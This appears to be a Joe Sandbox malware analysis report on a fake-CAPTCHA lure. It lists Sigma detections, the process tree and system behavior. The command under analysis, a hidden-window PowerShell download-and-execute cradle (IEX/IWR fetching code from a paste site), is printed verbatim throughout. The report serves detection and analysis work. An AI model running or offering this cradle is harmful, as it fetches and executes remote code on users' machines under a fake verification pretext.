Joe Sandbox Cloud Basic Analysis Report
Edit tour

Windows Analysis Report

Overview

General Information

Analysis ID:1614156
Infos:

Detection

Score:48
Range:0 - 100
Confidence:100%

Signatures

Sigma detected: PowerShell Base64 Encoded IEX Cmdlet
Sigma detected: PowerShell Download and Execution Cradles
Creates a process in suspended mode (likely to inject code)
Program does not show much activity (idle)
Sigma detected: PowerShell Web Download
Sigma detected: Usage Of Web Request Commands And Cmdlets

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious

Process Tree

  • System is w10x64
  • cmd.exe (PID: 7568 cmdline: cmd /C ""PowerShell.exe" -w 1 . IEX(('https://nopaste.net/YNW0Hgj1vb'|%{(IWR (Get-Variable _ -ValueO))}).Content) # ''I am not a robot: reCA?TCHA Verification ID: 7811''" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
    • conhost.exe (PID: 7608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powershell.exe (PID: 7656 cmdline: "PowerShell.exe" -w 1 . IEX(('https://nopaste.net/YNW0Hgj1vb' MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

System Summary

barindex
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: cmd /C ""PowerShell.exe" -w 1 . IEX(('https://nopaste.net/YNW0Hgj1vb'|%{(IWR (Get-Variable _ -ValueO))}).Content) # ''I am not a robot: reCA?TCHA Verification ID: 7811''", CommandLine: cmd /C ""PowerShell.exe" -w 1 . IEX(('https://nopaste.net/YNW0Hgj1vb'|%{(IWR (Get-Variable _ -ValueO))}).Content) # ''I am not a robot: reCA?TCHA Verification ID: 7811''", CommandLine|base64offset|contains: rg, Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4412, ProcessCommandLine: cmd /C ""PowerShell.exe" -w 1 . IEX(('https://nopaste.net/YNW0Hgj1vb'|%{(IWR (Get-Variable _ -ValueO))}).Content) # ''I am not a robot: reCA?TCHA Verification ID: 7811''", ProcessId: 7568, ProcessName: cmd.exe
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: cmd /C ""PowerShell.exe" -w 1 . IEX(('https://nopaste.net/YNW0Hgj1vb'|%{(IWR (Get-Variable _ -ValueO))}).Content) # ''I am not a robot: reCA?TCHA Verification ID: 7811''", CommandLine: cmd /C ""PowerShell.exe" -w 1 . IEX(('https://nopaste.net/YNW0Hgj1vb'|%{(IWR (Get-Variable _ -ValueO))}).Content) # ''I am not a robot: reCA?TCHA Verification ID: 7811''", CommandLine|base64offset|contains: rg, Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4412, ProcessCommandLine: cmd /C ""PowerShell.exe" -w 1 . IEX(('https://nopaste.net/YNW0Hgj1vb'|%{(IWR (Get-Variable _ -ValueO))}).Content) # ''I am not a robot: reCA?TCHA Verification ID: 7811''", ProcessId: 7568, ProcessName: cmd.exe
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: cmd /C ""PowerShell.exe" -w 1 . IEX(('https://nopaste.net/YNW0Hgj1vb'|%{(IWR (Get-Variable _ -ValueO))}).Content) # ''I am not a robot: reCA?TCHA Verification ID: 7811''", CommandLine: cmd /C ""PowerShell.exe" -w 1 . IEX(('https://nopaste.net/YNW0Hgj1vb'|%{(IWR (Get-Variable _ -ValueO))}).Content) # ''I am not a robot: reCA?TCHA Verification ID: 7811''", CommandLine|base64offset|contains: rg, Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4412, ProcessCommandLine: cmd /C ""PowerShell.exe" -w 1 . IEX(('https://nopaste.net/YNW0Hgj1vb'|%{(IWR (Get-Variable _ -ValueO))}).Content) # ''I am not a robot: reCA?TCHA Verification ID: 7811''", ProcessId: 7568, ProcessName: cmd.exe
Source: Process startedAuthor: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: cmd /C ""PowerShell.exe" -w 1 . IEX(('https://nopaste.net/YNW0Hgj1vb'|%{(IWR (Get-Variable _ -ValueO))}).Content) # ''I am not a robot: reCA?TCHA Verification ID: 7811''", CommandLine: cmd /C ""PowerShell.exe" -w 1 . IEX(('https://nopaste.net/YNW0Hgj1vb'|%{(IWR (Get-Variable _ -ValueO))}).Content) # ''I am not a robot: reCA?TCHA Verification ID: 7811''", CommandLine|base64offset|contains: rg, Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4412, ProcessCommandLine: cmd /C ""PowerShell.exe" -w 1 . IEX(('https://nopaste.net/YNW0Hgj1vb'|%{(IWR (Get-Variable _ -ValueO))}).Content) # ''I am not a robot: reCA?TCHA Verification ID: 7811''", ProcessId: 7568, ProcessName: cmd.exe
Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "PowerShell.exe" -w 1 . IEX(('https://nopaste.net/YNW0Hgj1vb', CommandLine: "PowerShell.exe" -w 1 . IEX(('https://nopaste.net/YNW0Hgj1vb', CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: cmd /C ""PowerShell.exe" -w 1 . IEX(('https://nopaste.net/YNW0Hgj1vb'|%{(IWR (Get-Variable _ -ValueO))}).Content) # ''I am not a robot: reCA?TCHA Verification ID: 7811''", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7568, ParentProcessName: cmd.exe, ProcessCommandLine: "PowerShell.exe" -w 1 . IEX(('https://nopaste.net/YNW0Hgj1vb', ProcessId: 7656, ProcessName: powershell.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

  • • System Summary
  • • Malware Analysis System Evasion
  • • Anti Debugging
  • • HIPS / PFW / Operating System Protection Evasion

Click to jump to signature section

Show All Signature Results
Source: classification engineClassification label: mal48.win@4/0@0/0
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7608:120:WilError_03
Source: unknownProcess created: C:\Windows\SysWOW64\cmd.exe cmd /C ""PowerShell.exe" -w 1 . IEX(('https://nopaste.net/YNW0Hgj1vb'|%{(IWR (Get-Variable _ -ValueO))}).Content) # ''I am not a robot: reCA?TCHA Verification ID: 7811''"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "PowerShell.exe" -w 1 . IEX(('https://nopaste.net/YNW0Hgj1vb'
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "PowerShell.exe" -w 1 . IEX(('https://nopaste.net/YNW0Hgj1vb'Jump to behavior
Source: all processesThread injection, dropped files, key value created, disk infection and DNS query: no activity detected
Source: all processesThread injection, dropped files, key value created, disk infection and DNS query: no activity detected
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "PowerShell.exe" -w 1 . IEX(('https://nopaste.net/YNW0Hgj1vb'Jump to behavior

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath Interception11
Process Injection		11
Process Injection		OS Credential DumpingSystem Service DiscoveryRemote ServicesData from Local SystemData ObfuscationExfiltration Over Other Network MediumAbuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1614156 Cookbook: defaultwindowscmdlinecookbook.jbs Startdate: 13/02/2025 Architecture: WINDOWS Score: 48 12 Sigma detected: PowerShell Download and Execution Cradles 2->12 14 Sigma detected: PowerShell Base64 Encoded IEX Cmdlet 2->14 6 cmd.exe 1 2->6         started        process3 process4 8 conhost.exe 6->8         started        10 powershell.exe 6->10         started       

Screenshots

Download Video

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

⊘No Antivirus matches

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox version:42.0.0 Malachite
Analysis ID:1614156
Start date and time:2025-02-13 11:40:22 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 1m 19s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultwindowscmdlinecookbook.jbs
Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:3
Number of new started drivers analysed:0
Number of existing processes analysed:0
Number of existing drivers analysed:0
Number of injected processes analysed:0
Technologies:
  • EGA enabled
  • AMSI enabled
Analysis Mode:default
Analysis stop reason:Timeout
Detection:MAL
Classification:mal48.win@4/0@0/0
Cookbook Comments:
  • Stop behavior analysis, all processes terminated
  • Not all processes where analyzed, report is missing behavior information

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

⊘No static file info

Network Behavior

⊘No network behavior found

Statistics

CPU Usage

012345s020406080100

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

General

Target ID:0
Start time:05:41:08
Start date:13/02/2025
Path:C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):true
Commandline:cmd /C ""PowerShell.exe" -w 1 . IEX(('https://nopaste.net/YNW0Hgj1vb'|%{(IWR (Get-Variable _ -ValueO))}).Content) # ''I am not a robot: reCA?TCHA Verification ID: 7811''"
Imagebase:0x240000
File size:236'544 bytes
MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Reputation:high
Has exited:true
Show Windows behavior

File Activities

Show Windows behavior

Section Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.
There is hidden Windows Behavior. Click on Show Windows Behavior to show it.
Show Windows behavior

Process Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.
There is hidden Windows Behavior. Click on Show Windows Behavior to show it.
There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

General

Target ID:1
Start time:05:41:08
Start date:13/02/2025
Path:C:\Windows\System32\conhost.exe
Wow64 process (32bit):false
Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:0x7ff7699e0000
File size:862'208 bytes
MD5 hash:0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Reputation:high
Has exited:true
Show Windows behavior

File Activities

Show Windows behavior

Section Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.
Show Windows behavior

Mutex Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.
Show Windows behavior

Thread Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.
There is hidden Windows Behavior. Click on Show Windows Behavior to show it.
Show Windows behavior

Windows UI Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

General

Target ID:2
Start time:05:41:08
Start date:13/02/2025
Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):true
Commandline:"PowerShell.exe" -w 1 . IEX(('https://nopaste.net/YNW0Hgj1vb'
Imagebase:0x220000
File size:433'152 bytes
MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Reputation:high
Has exited:true
There is hidden Windows Behavior. Click on Show Windows Behavior to show it.
Show Windows behavior

Section Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.
There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Disassembly

⊘No disassembly